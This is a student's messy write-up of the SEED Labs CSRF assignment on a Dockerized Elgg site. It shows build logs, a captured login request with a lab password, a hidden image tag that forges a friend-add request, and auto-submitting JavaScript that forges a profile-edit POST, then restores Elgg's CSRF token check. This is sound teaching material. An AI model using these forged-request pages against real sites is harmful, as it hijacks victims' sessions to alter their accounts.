CSRF .... ASSIGNMENT....

//Below is my solutions...

Assignment on seed lab Docker...

First, I needed to visit this website, = > "https://seedsecuritylabs.org/
Labs_20.04/Web/Web_CSRF_
Elgg/" to download elgg folder to set up my build... I downloaded it and navigated to the directory which i named ## lab which contained directory called ## Labsetup...
I entered docker-compose build / dcbuild to build my elgg.... Below is the result

{

Building elgg
Step 1/10 : FROM handsonsecurity/seed-elgg:original
original: Pulling from handsonsecurity/seed-elgg
da7391352a9b: Pulling fs layer
14428a6d4bcd: Downloading [==>   ]
759B/847Bs layer
da7391352a9b: Downloading [>   da7391352a9b: Downloading [===>
da7391352a9b: Downloading [=======>   da7391352a9b: Downloading
[==========>   da7391352a9b: Downloading [==============>
da7391352a9b: Downloading [=================>   da7391352a9b: Downloading
[====================>   ] 12.02MB/28.56MB
da7391352a9b: Downloading [=======================>   ] 13.51MB/28.56MB

da7391352a9b: Downloading [=========================>   ]
14.68MB/28.56MB
d801bb9d0b6c: Downloading [>   da7391352a9b: Downloading
[============================>   ] 15.83MB/28.56MB
d801bb9d0b6c: Downloading [>   da7391352a9b: Downloading
[==============================>   da7391352a9b: Pull complete
14428a6d4bcd: Pull complete
2c2d948710f2: Pull complete
d801bb9d0b6c: Extracting [==================================>   ]
47.35MB/71.99MBmplete
===>   ] 69.31MB/74.35MBplete
9c11a94ddf64: Pull complete
81f03e4cea1b: Pull complete
0ba9335b8768: Pull complete
8ba195fb6798: Pull complete
264df06c23d3: Pull complete
Digest: sha256:728dc5e7de5a11bea1b741f8ec59ded392bbeb9eb2fb425b8750773ccda8f706
Status: Downloaded newer image for handsonsecurity/seed-elgg:original
 ---> e7f441caa931
Step 2/10 : ARG WWWDir=/var/www/elgg

```
 ---> Running in 02d693265e28
Removing intermediate container 02d693265e28
 ---> 71f912596158
Step 3/10 : COPY elgg/settings.php $WWWDir/elgg-config/settings.php
 ---> f8d0cef25f92
Step 4/10 : COPY elgg/Csrf.php     $WWWDir/vendor/elgg/elgg/engine/classes/Elgg/Security/Csrf.php
 ---> 533f7fcae412
Step 5/10 : COPY elgg/ajax.js      $WWWDir/vendor/elgg/elgg/views/default/core/js/
 ---> c1e9c6ce8f10
Step 6/10 : COPY apache_elgg.conf /etc/apache2/sites-available/
 ---> 35cec1c2452e
Step 7/10 : RUN  a2ensite apache_elgg.conf
 ---> Running in cd18891bd301
Site apache_elgg already enabled
Removing intermediate container cd18891bd301
 ---> 2c81ba4d03db
Step 8/10 : COPY defense /var/www/defense
 ---> a9cf85c0dda7
Step 9/10 : COPY apache_defense.conf /etc/apache2/sites-available/
 ---> e811d8a44bbc
Step 10/10 : RUN  a2ensite apache_defense.conf
 ---> Running in e21a3d2a0dbb
Enabling site apache_defense.
To activate the new configuration, you need to run:
  service apache2 reload
Removing intermediate container e21a3d2a0dbb
 ---> d5214f8a9a8c

Successfully built d5214f8a9a8c
Successfully tagged seed-image-www-csrf:latest
Building mysql
Step 1/7 : FROM mysql:8.0.22
8.0.22: Pulling from library/mysql
a076a628af6f: Pull complete
f6c208f3f991: Pull complete
88a9455a9165: Pull complete
406c9b8427c6: Pull complete
7c88599c0b25: Pull complete
25b5c6debdaf: Pull complete
43a5816f1617: Pull complete
69dd1fbf9190: Pull complete
5346a60dcee8: Pull complete
ef28da371fc9: Pull complete
fd04d935b852: Pull complete
050c49742ea2: Pull complete
Digest: sha256:0fd2898dc1c946b34dceaccc3b80d38b1049285c1dab70df7480de62265d6213
Status: Downloaded newer image for mysql:8.0.22
 ---> d4c3cafb11d5
Step 2/7 : ARG DEBIAN_FRONTEND=noninteractive
```

```
 ---> Running in 287f1cdac664
Removing intermediate container 287f1cdac664
 ---> 35e855548367
Step 3/7 : ENV MYSQL_ROOT_PASSWORD=dees
 ---> Running in fe77dcdf7df9
Removing intermediate container fe77dcdf7df9
 ---> 45da6b55b36f
Step 4/7 : ENV MYSQL_USER=seed
 ---> Running in db8faf93517b
Removing intermediate container db8faf93517b
 ---> 05d888cd5ad1
Step 5/7 : ENV MYSQL_PASSWORD=dees
 ---> Running in 9472fed0b6cb
Removing intermediate container 9472fed0b6cb
 ---> b7d6b13650aa
Step 6/7 : ENV MYSQL_DATABASE=elgg_seed
 ---> Running in f6df8edf0880
Removing intermediate container f6df8edf0880
 ---> 788794415c96
Step 7/7 : COPY elgg.sql  /docker-entrypoint-initdb.d
 ---> 4915736926b8

Successfully built 4915736926b8
Successfully tagged seed-image-mysql-csrf:latest
Building attacker
Step 1/3 : FROM handsonsecurity/seed-server:apache-php
apache-php: Pulling from handsonsecurity/seed-server
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
d801bb9d0b6c: Already exists
Digest: sha256:fb3b6a03575af14b6a59ada1d7a272a61bc0f2d975d0776dba98eff0948de275
Status: Downloaded newer image for handsonsecurity/seed-server:apache-php
 ---> 2365d0ed3ad9
Step 2/3 : COPY apache_attacker.conf server_name.conf /etc/apache2/sites-available/
 ---> 683c7e2616f6
Step 3/3 : RUN  a2ensite server_name.conf        && a2ensite apache_attacker.conf
 ---> Running in fd02722a7ef7
Enabling site server_name.
To activate the new configuration, you need to run:
  service apache2 reload
Enabling site apache_attacker.
To activate the new configuration, you need to run:
  service apache2 reload
Removing intermediate container fd02722a7ef7
 ---> 25f17fd4edf3

Successfully built 25f17fd4edf3
Successfully tagged seed-image-attacker-csrf:latest
```

}

I then typed ## dcup to creat a driver?...

// This command result is too long...

#dockps to get the host ids..

result {
8cc341d206a7 attacker-10.9.0.105
150602b79046 mysql-10.9.0.6
7e1f39f6d742 elgg-10.9.0.5

}

enter this command to bring out the host pannes..
/// sudo gedit /etc/hosts

//3 Lab Tasks: Attacks
3.1 Task 1: Observing HTTP Request.

// In my report, I found the post request, which sends alice login from http://www.seed-server.com/action/login which contains these informations { __elgg_token=VnBNftCK7IMCh8S6faz2xg&__elgg_ts=1665178547&username=alice&password=seedalice

..keeping the add friend request http://www.seed-server.com/action/friends/add?friend=56

//opened sorce code... and find owner guid.. i found samy guid = 59
// 59 is samy's own guid. we're gonna make a fugg attack using an image tag with the alice's guid in the url...
//Although you can store the id in a clicking tag example # Click me, ## But not everyone likes clicking on links. So let's do it automatically. example.. .. In order for this to work. like adding alice automatically as samy's friend. Alice must have a session... I mean alice must be authenticated and logged in.

}

cd attacker/

[15/10/2022]seed@VM:-/.../attacker$ docksh 8cc341d206a7
root@8cc341d206a7:/# ls /var/attacker/
ls: cannot access '/var/attacker': no such file or directory.
root@8cc341d206a7:/# ls var/www/attacker/
addfriend.html index.html

editprofile.html testing.html
root@8cc341d206a7:/# cd /var/www/attacker
root@8cc341d206a7:/var/www/attacker# nano addfriend.html

{

<html>
<body>
 <h1>Welcome attacker. This is a page forges and HTTP GET request.</h1>
<img src="http://www.seed-server.com/action/friends/add?friend=56" alt="image" width="1"
height="1"/>
</body>
</html>

}

[15/10/2022]seed@VM:-/.../attacker$ ls
addfriend.html editprofile.html index.html testing.html
[15/10/2022]seed@VM:-/.../attacker$ //comment... Grab the folder of addfriend.html and folder
[15/10/2022]seed@VM:-/.../attacker$ docker cp addfriend.html 8cc341d206a7:/var/www/attacker/
[15/10/2022]seed@VM:-/.../attacker$

....

root@8cc341d206a7:/var/www/attacker# cat addfriend.html

<html>
<body>
 <h1>Welcome attacker. This is a page forges and HTTP GET request.</h1>
<img src="http://www.seed-server.com/action/friends/add?friend=56" alt="image" width="1"
height="1"/>
</body>
</html>

//Now to attack alice, navigate to addfriend attack on the webpage...
//after refreshing the page. The samy will be automatically added as friend to alice.

attack 2... Samy want's to modify alic's profile...

First, We drag and drop addprofile file in to our text editor.... There're few things we'd like to modify...

{

We logged out of alice and then logged in as samy then set our http header reader to read all edited request when we modify samy's profile.

```
# {

<body>
<html>

<script type="text/javascript">
function forge_post()
{
var fields;
// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won't be able to see them.
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Samy is my best hacker'>";
fields += "<input type='hidden' name='guid' value='56'>";


// Create a <form> element.
var p = document.createElement("form");
// Construct the form
p.action = "http://www.seed-server.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";
// Append the form to the current page.
document.body.appendChild(p);
// Submit the form
p.submit();
}
// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>

}

}

[15/10/2022]seed@VM:-/.../attacker$ docker cp editprofile.html 8cc341d206a7:/var/www/attacker/
[15/10/2022]seed@VM:-/.../attacker$ ...

root@8cc341d206a7:/var/www/attacker# cat editprofile.html


{


<body>
<html>
```

```
<script type="text/javascript">
function forge_post()
{
var fields;
// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won't be able to see them.
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Samy is my best hacker'>";
fields += "<input type='hidden' name='guid' value='56'>";


// Create a <form> element.
var p = document.createElement("form");
// Construct the form
p.action = "http://www.seed-server.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";
// Append the form to the current page.
document.body.appendChild(p);
// Submit the form
p.submit();
}
// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>

}

# now login as alice to edit alice's profile....

## alice Then get hacked. her profile informations where changed.


## protecting alice from such attacks...


[15/10/2022]seed@VM:-/.../attacker$ docksh 7e1f39f6d742
root@7e1f39f6d742 : /# cd /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security

root@7e1f39f6d742:/var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security#
to edit the csrf... security, nano csrf.php

{

public function validate(Request $request) {
return; // Added for SEED Labs (disabling the CSRF countermeasure)
```

$token = $request->getParam(’ elgg_token’);
$ts = $request->getParam(’ elgg_ts’);
... (code omitted) ...
}
// on the above project, ^ just remove the return statement.. or comment out the return statement.
example {

public function validate(Request $request) {
// return; // Added for SEED Labs (disabling the CSRF countermeasure)
$token = $request->getParam(’ elgg_token’);
$ts = $request->getParam(’ elgg_ts’);
... (code omitted) ...
}

}
}

root@7e1f39f6d742:/var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security# cat Csrf.php

{

public function validate(Request $request) {
return; // Added for SEED Labs (disabling the CSRF countermeasure)
$token = $request->getParam(’ elgg_token’);
$ts = $request->getParam(’ elgg_ts’);
... (code omitted) ...
}
// on the above project, ^ just remove the return statement.. or comment out the return statement.
example {

public function validate(Request $request) {
// return; // Added for SEED Labs (disabling the CSRF countermeasure)
$token = $request->getParam(’ elgg_token’);
$ts = $request->getParam(’ elgg_ts’);
... (code omitted) ...
}

}
}

To check if everything worked. Clear everything from both alice and samy's profile and try to send the attack again...

the result's are {

```
# form is missing _ token or _ts fields.
}
```